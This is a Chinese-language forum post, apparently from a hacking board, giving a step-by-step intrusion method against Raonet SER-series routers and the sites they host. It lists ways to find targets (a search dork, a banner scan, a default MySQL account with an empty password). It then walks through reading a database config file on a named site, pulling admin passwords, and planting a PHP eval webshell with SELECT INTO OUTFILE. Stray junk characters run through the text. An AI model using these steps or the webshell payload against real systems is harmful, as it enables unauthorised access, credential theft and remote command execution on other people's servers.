利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

) }7 B+ e" L0 c, P: u4 j1：google搜索'Raonet Subscriber Ethernet Router'
; B6 A6 c: i# c2 L: E
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

5 n$ u% s  m* t3 Q+ x" @5 J//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

6 \( |- O# ^0 [

入侵步骤：

  }1 c  j6 `; j9 n4 R% n$ F1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
+ k8 Z! A  W* Y* t! N$ g, P
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
6 m+ t( U4 n$ v) e3：得到密码后连接，查看GUI管理密码：
use ser_500
0 g- k# E- }& O9 Iselect id,passwd from user;
- o% L; \; [- W, F4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
3 t9 B$ ^3 O6 v4 \0 H! ndrop table ok;

# c" r2 ]3 s: c0 z& G( ^5:连接后门shell.php
" U' s" g6 T; \
6. 搞定！

9 n( j0 y6 v$ p7 S/ F4 p! C- }

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。